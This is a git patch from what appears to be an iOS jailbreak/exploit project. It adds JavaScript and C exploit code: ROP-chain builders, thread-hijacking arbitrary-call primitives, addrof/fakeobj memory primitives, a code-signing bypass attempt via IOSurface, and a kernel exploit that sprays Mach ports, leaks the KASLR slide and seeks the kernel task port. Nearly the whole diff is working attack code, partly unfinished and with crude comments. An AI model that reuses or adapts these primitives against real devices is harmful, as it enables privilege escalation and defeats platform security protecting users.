From b040db45dfc9ef9a902e48bc2718a94cd099f505 Mon Sep 17 00:00:00 2001 From: spv420 Date: Tue, 31 May 2022 19:51:14 -0400 Subject: I live in a constant state of fear and misery Do you miss me anymore? And I don't even notice When it hurts anymore Anymore Anymore Anymore --- .vscode/settings.json | 5 + src/gen/main.c | 4 +- src/gen/stage2.c | 15 ++- src/js/csbypass.js | 69 +++++++++++ src/js/kexp/exploit.js | 92 +++++--------- src/js/lib/myutils.js | 7 +- src/js/lib/str.js | 8 +- src/js/main.js | 93 +++++++++++++- src/js/primitives/call.js | 208 ++++++++++++++++++++++++++++++- src/js/primitives/mem.js | 39 ++++++ tools/-h | 0 tools/935csbypass.c | 14 +++ tools/build_native.sh | 10 +- tools/defines | Bin 0 -> 13216 bytes tools/defines.c | 28 +++++ tools/ent.xml | 2 + tools/jit_all_the_things.c | 32 ++++- tools/payload.s | 3 + tools/shc/shellcode.c | 22 +++- work/cs935.c | 133 ++++++++++++++++++++ work/cs_bypass.m | 302 +++++++++++++++++++++++++++++++++++++++++++++ work/shit.js | 41 ++++++ 22 files changed, 1046 insertions(+), 81 deletions(-) create mode 100644 .vscode/settings.json create mode 100644 src/js/csbypass.js create mode 100644 tools/-h create mode 100644 tools/935csbypass.c create mode 100755 tools/defines create mode 100644 tools/defines.c create mode 100644 tools/payload.s create mode 100644 work/cs935.c create mode 100755 work/cs_bypass.m create mode 100644 work/shit.js diff --git a/.vscode/settings.json b/.vscode/settings.json new file mode 100644 index 0000000..907117e --- /dev/null +++ b/.vscode/settings.json @@ -0,0 +1,5 @@ +{ + "files.associations": { + "mman.h": "c" + } +} \ No newline at end of file diff --git a/src/gen/main.c b/src/gen/main.c index 30726d5..5ee0286 100644 --- a/src/gen/main.c +++ b/src/gen/main.c @@ -206,8 +206,8 @@ int main(int argc, fprintf(stderr, "0x%x\n", RTLD_DEFAULT); - uint32_t stack_base = 0x1c7718; // my shell setup -// uint32_t stack_base = 0x1c772c; // my shell setup +// uint32_t stack_base = 0x1c7718; // my shell setup + uint32_t stack_base = 0x1c7708; // my shell setup // uint32_t stack_base = 0x1c7c88; // my 4s shell setup // uint32_t stack_base = 0x1c2e48; // my lldb // uint32_t stack_base = 0x1c7d68; // btserver env diff --git a/src/gen/stage2.c b/src/gen/stage2.c index 8b98a7e..7e611c8 100644 --- a/src/gen/stage2.c +++ b/src/gen/stage2.c @@ -313,12 +313,17 @@ rop_chain_shit gen_rop_chain(uint32_t base, uint32_t JSGlobalContextCreateInGroup = get_dyld_shc_sym_addr_jsc("JSGlobalContextCreateInGroup"); uint32_t JSContextGetGlobalObject = get_dyld_shc_sym_addr_jsc("JSContextGetGlobalObject"); uint32_t JSStringCreateWithUTF8CString = get_dyld_shc_sym_addr_jsc("JSStringCreateWithUTF8CString"); + uint32_t JSObjectGetProperty = get_dyld_shc_sym_addr_jsc("JSObjectGetProperty"); uint32_t JSEvaluateScript = get_dyld_shc_sym_addr_jsc("JSEvaluateScript"); uint32_t dlsym_ = get_dyld_shc_sym_addr("dlsym"); MOV_R0(dlsym_); STR_R0(base + reserve_addr + 24); + fprintf(stderr, "var JSStringCreateWithUTF8CString = 0x%08x;\n" + "var JSObjectGetProperty = 0x%08x;\n" + "var JSContextGetGlobalObject = 0x%08x;\n", JSStringCreateWithUTF8CString, JSObjectGetProperty, JSContextGetGlobalObject); + // uint32_t settimeofday = get_dyld_shc_sym_addr("settimeofday"); fprintf(stderr, "0x%08x 0x%08x 0x%08x 0x%08x 0x%08x 0x%08x\n", JSContextGroupCreate, JSGlobalContextCreateInGroup, JSContextGetGlobalObject, JSStringCreateWithUTF8CString, JSEvaluateScript, dlsym_); @@ -356,11 +361,11 @@ rop_chain_shit gen_rop_chain(uint32_t base, MOV_R0(0x108000); CALL_SLID(JSStringCreateWithUTF8CString); - STR_R0(base + reserve_addr + 0x48); + STR_R0(base + reserve_addr + 0x4a); PRINT_STILL_HERE(); - DEREF_IN_R0(base + reserve_addr + 0x48); + DEREF_IN_R0(base + reserve_addr + 0x4a); MOV_R1_R0(); - CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); + CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x4a); MOV_R1_R0(); PRINT_STILL_HERE(); @@ -378,13 +383,13 @@ rop_chain_shit gen_rop_chain(uint32_t base, MOV_R0(0x10a000); CALL_SLID(JSStringCreateWithUTF8CString); - STR_R0(base + reserve_addr + 0x48); + STR_R0(base + reserve_addr + 0x4a); PRINT_STILL_HERE(); /* DEREF_IN_R0(base + reserve_addr + 0x48); MOV_R1_R0(); */ - CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x48); + CALL_SLID_4_PTRARG_L2_0(JSEvaluateScript, base + reserve_addr + 0x44, base + reserve_addr + 0x4a); MOV_R1_R0(); PRINT_STILL_HERE(); diff --git a/src/js/csbypass.js b/src/js/csbypass.js new file mode 100644 index 0000000..e91dac3 --- /dev/null +++ b/src/js/csbypass.js @@ -0,0 +1,69 @@ +var RTLD_NOW = 2; +var PAGE_SIZE = 0x1000; + +var CFDictionaryCreateMutable_addr = 0x20809ae1; +var kCFTypeDictionaryKeyCallBacks_addr = 0x343c79cc; +var kCFTypeDictionaryValueCallBacks_addr = 0x343c79fc; +var CFDictionarySetValue_addr = 0x2080a791; +var CFNumberCreate_addr = 0x2080bc79; +var kCFNumberSInt32Type = 3; + +function csbypass() { + printf("hello from csbypass!\n"); + poc(); +} + +function memcpy_exec(dst, src, size) { + var dict = NULL; + var accel = malloc(4); + var width = malloc(4); + var height = malloc(4); + var pitch = malloc(4); + var pixel_format = malloc(4); + write_u32(width, PAGE_SIZE / (16 * 4)); + write_u32(height, 16); + write_u32(pitch, read_u32(width) * 4); + write_u32(pixel_format, 0x42475241); // ARGB + dict = callnarg(CFDictionaryCreateMutable_addr + get_dyld_shc_slide(), 0, 0, kCFTypeDictionaryKeyCallBacks_addr, kCFTypeDictionaryValueCallBacks_addr); + printf("dict: %p\n", dict); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceBytesPerRow), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pitch)); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceWidth), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, width)); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfaceHeight), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, height)); + callnarg(CFDictionarySetValue_addr + get_dyld_shc_slide(), dict, read_u32(my_kIOSurfacePixelFormat), callnarg(CFNumberCreate_addr + get_dyld_shc_slide(), 0, kCFNumberSInt32Type, pixel_format)); + printf("fuck you\n"); + printf("%d\n", callnarg(my_IOSurfaceAcceleratorCreate, 0, 0, accel)); +} + +function linkIOSurface() { + h = dlopen("/System/Library/PrivateFrameworks/IOSurface.framework/IOSurface", RTLD_NOW); + + my_kIOSurfaceBytesPerRow = dlsym(h, "kIOSurfaceBytesPerRow"); + my_kIOSurfaceWidth = dlsym(h, "kIOSurfaceWidth"); + my_kIOSurfaceHeight = dlsym(h, "kIOSurfaceHeight"); + my_kIOSurfacePixelFormat = dlsym(h, "kIOSurfacePixelFormat"); + + scall("printf", "%x %x %x %x\n", my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat); + + my_IOSurfaceAcceleratorCreate = dlsym(h, "IOSurfaceAcceleratorCreate"); + my_IOSurfaceCreate = dlsym(h, "IOSurfaceCreate"); + my_IOSurfaceAcceleratorTransferSurface = dlsym(h, "IOSurfaceAcceleratorTransferSurface"); +} + +function poc() { + linkIOSurface(); + + var tmp = malloc(0x4000); + var start = [0x4F, 0xF0, 0x82, 0x40, 0x00, 0x47]; + + for (var i = 0; i < start.length; i++) { + write_u8(tmp + i, start[i]); + } + + var finish = 0x10000; + + memcpy_exec(finish. tmp, 0x1000); + + scall("printf", "%x %x %x %x %x %x %x %x %x %x %x %x %x\n", h, my_kIOSurfaceBytesPerRow, my_kIOSurfaceWidth, my_kIOSurfaceHeight, my_kIOSurfacePixelFormat, my_IOSurfaceAcceleratorCreate, my_IOSurfaceCreate, my_IOSurfaceAcceleratorTransferSurface, 0x41414141); + +// var finish = +} \ No newline at end of file diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js index 544a876..c667dd2 100755 --- a/src/js/kexp/exploit.js +++ b/src/js/kexp/exploit.js @@ -105,24 +105,28 @@ function copyinPort(kport, cnt) { var data = malloc(4); var master = malloc(4); fakeportData = malloc(4); + var host_self = mach_host_self(); host_get_io_master(mach_host_self(), master); ret = spray_data(NULL, 0, 5, data); printf("sprayed, still here\n"); printf("spray_data=%d (%s)\n", ret, mach_error_string(ret)); printf("sprayed, still here\n"); +// printf("%x %x\n", master, read_u32(master)); service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity")); printf("service=%x\n", service); var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); + printf("%x\n", tst); var kpbuf = tst + 4; for (var i = 0; i < cnt; i++) { write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size); } var err = malloc(4); - var xml = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1768515945"); - ret = io_service_open_extended(service, self, 0, 0, 1, xml, strlen(xml) + 1, err, client); + var xmls = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA1768515945"; + var xml = sptr(xmls); + ret = io_service_open_extended(service, self, 0, 0, 1, xml, xmls.length + 1, err, client); printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { ret = read_u32(err); @@ -132,7 +136,6 @@ function copyinPort(kport, cnt) { var found = false; var o = IOIteratorNext(read_u32(it)); - printf("%x\n", o); while (o != MACH_PORT_NULL && !found) { var buf = malloc(16 * 4); @@ -141,13 +144,8 @@ function copyinPort(kport, cnt) { ret = IORegistryEntryGetProperty(o, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA", buf, size); printf("%d %s\n", ret, mach_error_string(ret)); if (ret == KERN_SUCCESS) { - printf("yolo\n"); -// mach_port_deallocate(self, read_u32(data)); -// write_u32(data, MACH_PORT_NULL); spray_data(tst, strlen(tst) + 1, 10, fakeportData); - printf("still still alive?\n"); kslide = (((read_u32(buf + (9 << 2)) & 0xFFF00000) + 0x1000) -0x80001000) >>> 0; - printf("still alive? %x\n", 420); printf("YOLO YOLO YOLO kaslr_slide=%s\n", kslide.toString(16)); found = true; return ((read_u32(buf + (4 << 2)) - 0x78)) >>> 0; @@ -202,7 +200,10 @@ function spray_ports(number_port_descs) { mach_port_allocate(task_self, MACH_PORT_RIGHT_RECEIVE, mp); mach_port_insert_right(task_self, read_u32(mp), read_u32(mp), MACH_MSG_TYPE_MAKE_SEND); - send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); + var ret_ = send_ports(read_u32(mp), read_u32(kp), 2, number_port_descs); + +// printf("%d (%s)\n", ret_, mach_error_string(ret_)); + var ret = read_u32(mp); free(mp); return ret; @@ -236,75 +237,46 @@ function send_ports(target, payload, num, number_port_descs) { write_u32(init_port_set + (i << 2), payload); } - var buf = malloc(0x1c + (number_port_descs * 0xc * 8)); + // var buf = malloc(0x1c + (number_port_descs * 0xc * 8)); - write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); +// write_u32(buf + req_msgh_body_msgh_descriptor_count, number_port_descs); - var new_buf = new Uint32Array(3); -// var tmp = u32_to_u8x4(init_port_set); - new_buf[0] = (init_port_set); - new_buf[1] = (num); - new_buf[2] = ((19 << 24) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 16)); - -// new_buf_.push(tmp[0]); -// new_buf_.push(tmp[1]); -// new_buf_.push(tmp[2]); -// new_buf_.push(tmp[3]); -// tmp = u32_to_u8x4(num); -// new_buf_.push(tmp[0]); -// new_buf_.push(tmp[1]); -// new_buf_.push(tmp[2]); -// new_buf_.push(tmp[3]); -// new_buf_.push(0); -// new_buf_.push(0); -// new_buf_.push(MACH_MSG_OOL_PORTS_DESCRIPTOR); -// new_buf_.push(19); - -// printf("%x 0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,0x%08x,\n", new_buf_.length, new_buf_[zz]]); - -// var new_buf = fast_array_mul(new_buf_, number_port_descs); +// var buf = new Uint32Array((0x1c + (3 * number_port_descs)) / 4); - for (var i = 0; i < number_port_descs; i++) { - write_u32_buf(buf + req_init_port_set + (i * 0xc), new_buf, new_buf.length * 4); - } + large_buf[req_msgh_body_msgh_descriptor_count / 4] = number_port_descs; - /* - for (var i = 0; i < number_port_descs; i++) { - write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_address, init_port_set); - write_u32(buf + (req_init_port_set * (i + 1)) + req_init_port_set_count, num); - write_u8(buf + (req_init_port_set * (i + 1)) + 0x8, 0); - write_u8(buf + (req_init_port_set * (i + 1)) + 0xa, 19); - write_u8(buf + (req_init_port_set * (i + 1)) + 0xb, MACH_MSG_OOL_PORTS_DESCRIPTOR); - }*/ + var tmp = ((19 << 16) + (MACH_MSG_OOL_PORTS_DESCRIPTOR << 24)); - write_u32(buf + req_head_msgh_bits, 0x80001513); // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE) - write_u32(buf + req_head_msgh_request_port, target); - write_u32(buf + req_head_msgh_reply_port, 0); - write_u32(buf + req_head_msgh_id, 1337); + for (var i = 0; i < number_port_descs; i++) { + var tmp2 = (i * 3) + (req_init_port_set >>> 2); + large_buf[tmp2 + 0] = (init_port_set); + large_buf[tmp2 + 1] = (num); + large_buf[tmp2 + 2] = tmp; + } - var ret = mach_msg(buf, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); + large_buf[req_head_msgh_bits >>> 2] = 0x80001513; // MACH_MSGH_BITS_COMPLEX | MACH_MSGH_BITS(19, MACH_MSG_TYPE_MAKE_SEND_ONCE) + large_buf[req_head_msgh_request_port >>> 2] = target; + large_buf[req_head_msgh_reply_port >>> 2] = 0; + large_buf[req_head_msgh_id >>> 2] = 1337; - free(buf); +// printf("%s\n", prim_hexdump(read_buf(large_buf_ptr, 0x100))); + + var ret = mach_msg(large_buf_ptr, 1, 0x1c + (number_port_descs * 0xc), 0, 0, 0, MACH_PORT_NULL); return ret; } function release_port_ptrs(port) { - printf("alive\n"); var req = malloc(0x1c + (5 * 0xc) + 0x8); for (var i = 0; i < (0x1c + (5 * 0xc) + 0x8); i += 4) { write_u32(req + i, 0x0); } printf("%s\n", hexdump(read_buf(req, 0x1c + (5 * 0xc) + 0x8), 8, 2, req, 8, "0")); - printf("alive\n"); var ret = mach_msg(req, MACH_RCV_MSG, 0, (0x1c + (5 * 0xc) + 0x8), port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL); - printf("alive\n"); - // if (ret != KERN_SUCCESS) { -// printf("mach_recv %d %s\n", ret, mach_error_string(ret)); - printf("alive\n"); - // } + if (ret != KERN_SUCCESS) { + printf("mach_recv %d %s\n", ret, mach_error_string(ret)); + } free(req); - printf("alive\n"); } function get_kernel_task() { @@ -335,7 +307,7 @@ function get_kernel_task() { var big_buf = malloc(MIG_MAX); var small_buf = malloc(MIG_MAX); - + var big_size = malloc(4); var small_size = malloc(4); diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js index e856624..89860f8 100755 --- a/src/js/lib/myutils.js +++ b/src/js/lib/myutils.js @@ -116,4 +116,9 @@ var mach_msg = scall_wrapper("mach_msg"); var mmap = scall_wrapper("mmap"); var free = scall_wrapper("free"); var mlock = scall_wrapper("mlock"); -var mprotect = scall_wrapper("mprotect"); \ No newline at end of file +var mprotect = scall_wrapper("mprotect"); +var dlopen = scall_wrapper("dlopen"); +var dlsym = scall_wrapper("dlsym"); +var CFDictionaryCreateMutable = scall_wrapper("CFDictionaryCreateMutable"); +var CFDictionarySetValue = scall_wrapper("CFDictionarySetValue"); +var CFNumberCreate = scall_wrapper("CFNumberCreate"); \ No newline at end of file diff --git a/src/js/lib/str.js b/src/js/lib/str.js index 31621bf..c95573d 100644 --- a/src/js/lib/str.js +++ b/src/js/lib/str.js @@ -2,7 +2,7 @@ * currently unused (iirc) garbage * basically just prints an address than the uint32_t there, and then +4, etc */ -function prim_dump_u32(buf) { +function prim_dump_u32(buf, base) { s = ""; for (var i = 0; i < buf.length; i += 4) { @@ -13,10 +13,10 @@ function prim_dump_u32(buf) { tmp.push(buf[i + 2]); tmp.push(buf[i + 3]); - s += "0x" + pad_left((0x422200 + i).toString(16), "0", 8); + s += "0x" + pad_left((base + i).toString(16), "0", 8); s += ": "; s += "0x" + pad_left(u8x4_to_u32(tmp).toString(16), "0", 8); - if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) { +/* if (u8x4_to_u32(tmp) >= 0x1800000 && u8x4_to_u32(tmp) < 0x1900000) { s += " -> 0x" + pad_left(read_u32(u8x4_to_u32(tmp)).toString(16), "0", 8); s += "\n"; val = read_u32(u8x4_to_u32(tmp)); @@ -24,7 +24,7 @@ function prim_dump_u32(buf) { buf = read_buf(val, 0x100); s += (hexdump(buf, 8, 2, val, 8, "0x")); } - } + }*/ s += "\n"; } diff --git a/src/js/main.js b/src/js/main.js index 7021ab1..c6ceba0 100644 --- a/src/js/main.js +++ b/src/js/main.js @@ -19,6 +19,8 @@ var PROT_EXEC = 0x4; var MAP_PRIVATE = 0x2; var MAP_ANON = 0x1000; +var victim = {a: 13.37}; + /* * leftover shit from jsc_fun, used to be using `log` */ @@ -32,6 +34,10 @@ try { puts = function (){}; } +var JSStringCreateWithUTF8CString = 0x239f9d0d; +var JSObjectGetProperty = 0x239fa411; +var JSContextGetGlobalObject = 0x239f8dfd; + function main() { /* * get slide and calculate slid base @@ -48,6 +54,8 @@ function main() { init_sptr_heap(); + scall("printf", "%x %x %x %x", 0x41, 0x42, 0x43, 0x44); + puts("we out here"); puts("I came through a portal holding a 40 and a blunt. Do you really wanna test me right now?"); @@ -56,9 +64,92 @@ function main() { printf("*(uint16_t*)base = 0x%x\n", read_u16(base)); printf("*(uint32_t*)base = 0x%x\n", read_u32(base)); - var tfp0 = get_kernel_task(); + var dyld_shc_slide = get_dyld_shc_slide(); + + sym_cache["JSStringCreateWithUTF8CString"] = JSStringCreateWithUTF8CString + dyld_shc_slide; + sym_cache["JSObjectGetProperty"] = JSObjectGetProperty + dyld_shc_slide; + sym_cache["JSContextGetGlobalObject"] = JSContextGetGlobalObject + dyld_shc_slide; + + prep_shit(); + large_buf[0] = 0x41424344; + printf("%x\n", read_u32(large_buf_ptr)); + + csbypass(); + + return; + + var tfp0 = get_kernel_task(); + printf("tfp0=%x\n", tfp0); + + return; + + printf("dead?\n"); + var string_ref = scall("JSStringCreateWithUTF8CString", sptr("victim")); + printf("dead? %x\n", string_ref); + var global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44)); + printf("dead? %x\n", global_object); + var jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL); + printf("dead?\n"); + + printf("%x\n", jsobj_addr); +// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0')); + victim.target = parent; + printf("%x\n", read_u32(jsobj_addr + 0x18)); +// printf("%s\n", prim_dump_u32(read_buf(jsobj_addr - 0x10, 0x60), jsobj_addr - 0x10)); +// printf("%s\n", hexdump(read_buf(jsobj_addr - 0x100, 0x200), 8, 2, jsobj_addr - 0x100, 8, '0')); + + /* + UIAlertView *alert = [[UIAlertView alloc] initWithTitle:@"ROFL" + message:@"Dee dee doo doo." + delegate:self + cancelButtonTitle:@"OK" + otherButtonTitles:nil]; + [alert show]; + */ + + return; + + var rop_buf = new Array(); + var nop = (0x781a | 1) + slid; + var zero_arr = [].slice.call(u32_to_u8x4(0)); + var nop_arr = [].slice.call(u32_to_u8x4(nop)); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(nop); + for (var i = 0; i < 0x40000; i++) { + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(nop); + if (i % 0x1000 == 0) { + printf("%x\n", i); + } + } + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0); + rop_buf.push(0x41414141); + + printf("gen'd buf\n"); + +// printf("%s\n", rop_buf[0].toString(16)); + + printf("exec'ing\n"); + exec_rop(rop_buf); + printf("done\n"); + +// var tfp0 = get_kernel_task(); + +// printf("tfp0=%x\n", tfp0); return; diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js index be4f254..3a2980a 100644 --- a/src/js/primitives/call.js +++ b/src/js/primitives/call.js @@ -31,8 +31,9 @@ var mov_r1_r0 = 0x72f76 | 1; var mov_r0 = 0xee40 | 1; var str_r0_r4 = 0x85474 | 1; -var stack_shit = 0x161000; +//var stack_shit = 0x161000; var pthread_ret = 0; +var stack_shit_rop = 0; function get_dyld_shc_slide() { /* @@ -140,11 +141,13 @@ function symaddr(sym) { return addy; } -function callnarg() { +function callnarg_new() { if (arguments.length < 1) { return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length); } + var stack_shit = 0x161000; + /* * setup ptrs */ @@ -232,6 +235,121 @@ function callnarg() { return read_u32(pthread_ret); } +function callnarg() { + if (arguments.length < 1) { + return printf("error: tried to run callnarg without args. arguments.length=%d\n", arguments.length); + } + + /* + * setup ptrs + */ + write_u32(countptr, count); + write_u32(thptr, th); + write_u32(threadptr, thread); + write_u32(thread_stateptr, thread_state); + + write_u32(countptrptr, countptr); + write_u32(thptrptr, thptr); + write_u32(threadptrptr, threadptr); + write_u32(thread_stateptrptr, thread_stateptr); + + var addy = arguments[0]; + var dyld_shc_slide = get_dyld_shc_slide(); + + var stack_shit = 0x161000; + + /* + * make __stack_chk_fail infinite loop + * (works by setting its lazy addy to its resolver, thus the resolver just + * endlessly jumps to iself) + */ + write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide); + + /* + * if the thread doesn't exist, create it. + */ + if (read_u32(th) === 0) { + calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0); + thread = read_u32(threadptr); + write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0)); + rth = read_u32(th); + } + + if (rth === 0) { + rth = read_u32(th); + } + +// calls4arg("thread_suspend", rth, 0, 0, 0); + + /* + * write first 4 to r0-r3, rest to stack + */ + for (var i = 1; i < arguments.length; i++) { + if (i <= 4) { + write_u32(thread_state + ((i - 1) << 2), arguments[i]); + } else { + write_u32(stack_shit + ((i - 5) << 2), arguments[i]); + } + } + + /* + * r9 + */ + write_u32(thread_state + (11 << 2), 0x1337); + + /* + * stack + */ + write_u32(thread_state + (13 << 2), stack_shit); + + /* + * return address, infinite loop + */ + write_u32(thread_state + (14 << 2), __stack_chk_fail_resolver + dyld_shc_slide); + + /* + * pc + */ + write_u32(thread_state + (15 << 2), addy); + + /* + * cpsr, magic + */ + if (addy & 1) { + write_u32(thread_state + (16 << 2), 0x40000020); + } else { + write_u32(thread_state + (16 << 2), 0x40000000); + } + + /* + * set the state + */ + calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT); + calls4arg("thread_resume", rth, 0, 0, 0); + + /* + * spin wait for return + */ + while (true) { + /* + * reset, it's used as input for thread_state size + */ + write_u32(count, 17); + calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count); + + /* + * if the pc is in (resolver, resolver + 8), suspend the thread + * (to not spin endlessly), read r0 and return + */ + if (((read_u32(thread_state + (15 << 2)) == (__stack_chk_fail_resolver + dyld_shc_slide)))) { + calls4arg("thread_suspend", rth, 0, 0, 0); + return read_u32(thread_state); + } + +// calls4arg("usleep", 1000, 0, 0, 0); + } +} + /* * call with symbol */ @@ -256,6 +374,8 @@ function scall() { sym_cache[sym] = addy; } +// printf("%s %x %x\n", sym, addy, sym_cache[sym]); + var args_to_pass = new Array(); var force_callnarg = false; @@ -283,4 +403,88 @@ function scall() { } return call4arg.apply(this, args_to_pass) } +} + +function rop_init() { + stack_shit_rop = scall("mmap", 0, 0x1000000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANON, -1, 0); +} + +function exec_rop(buf) { + /* + * setup ptrs + */ + write_u32(countptr, count); + write_u32(thptr, th); + write_u32(threadptr, thread); + write_u32(thread_stateptr, thread_state); + + write_u32(countptrptr, countptr); + write_u32(thptrptr, thptr); + write_u32(threadptrptr, threadptr); + write_u32(thread_stateptrptr, thread_stateptr); + + var dyld_shc_slide = get_dyld_shc_slide(); + + /* + * make __stack_chk_fail infinite loop + * (works by setting its lazy addy to its resolver, thus the resolver just + * endlessly jumps to iself) + */ + write_u32(__stack_chk_fail_lazy_addy + dyld_shc_slide, __stack_chk_fail_resolver + dyld_shc_slide); + + if (stack_shit_rop == 0) { + rop_init(); + } + + calls4arg("printf", sptr("%x %x\n"), 0, stack_shit_rop, 0); + + /* + * if the thread doesn't exist, create it. + */ + calls4arg("pthread_create", threadptr, 0, __stack_chk_fail_resolver + dyld_shc_slide, 0); + thread = read_u32(threadptr); + write_u32(th, calls4arg("pthread_mach_thread_np", thread, 0, 0, 0)); + rth = read_u32(th); + calls4arg("thread_suspend", rth, 0, 0, 0); + + if (pthread_ret == 0) { + pthread_ret = malloc(4); + } + + write_u32_buf(stack_shit_rop + 0x3c, buf, buf.length * 4); + + /* + + var stack_shit_ret_offset = 0x58; + + write_u32(stack_shit + stack_shit_ret_offset, pthread_exit + dyld_shc_slide); + */ + + /* + * stack + */ + write_u32(thread_state + (13 << 2), stack_shit_rop); + + /* + * pc + */ + write_u32(thread_state + (15 << 2), add_sp_0x3c + dyld_shc_slide); + + /* + * cpsr, magic + */ + write_u32(thread_state + (16 << 2), 0x40000020); + + printf("actually doing it\n"); + + /* + * set the state + */ + calls4arg("thread_set_state", rth, ARM_THREAD_STATE, thread_state, ARM_THREAD_STATE_COUNT); + calls4arg("thread_resume", rth, 0, 0, 0); + + calls4arg("pthread_join", thread, pthread_ret, 0, 0); + write_u32(count, 17); + calls4arg("thread_get_state", rth, ARM_THREAD_STATE, thread_state, count); + return read_u32(pthread_ret); } \ No newline at end of file diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js index f6c4fe7..0cd2b7d 100644 --- a/src/js/primitives/mem.js +++ b/src/js/primitives/mem.js @@ -228,4 +228,43 @@ function _sptr(s) { */ function sptr(s) { return _sptr(s + "\0"); +} + +var string_ref; +var global_object; +var jsobj_addr; + +var large_buf = new Uint32Array(0x100000); +var large_buf_ptr = 0; + +function prep_shit() { + string_ref = scall("JSStringCreateWithUTF8CString", "victim"); + global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44)); + jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL); + large_buf_ptr = leak_vec(large_buf); +} + +function addrof(obj) { + victim.target = obj; + return read_u32(jsobj_addr + 0x18); +} + +// broken +function fakeobj(addy) { + var string_ref = scall("JSStringCreateWithUTF8CString", sptr("victim")); + var global_object = scall("JSContextGetGlobalObject", read_u32(slid + reserve_addr + 0x44)); + var jsobj_addr = scall("JSObjectGetProperty", read_u32(slid + reserve_addr + 0x44), global_object, string_ref, NULL); + printf("YOLO\n"); + printf("1 %x\n", read_u32(jsobj_addr + 0x18)); + victim.target = 13.37; + printf("2 %x\n", read_u32(jsobj_addr + 0x18)); + write_u32(jsobj_addr + 0x18, addy); + printf("3 %x\n", read_u32(jsobj_addr + 0x18)); + return victim.target; +} + +function leak_vec(arr) { + var addy = addrof(arr); + 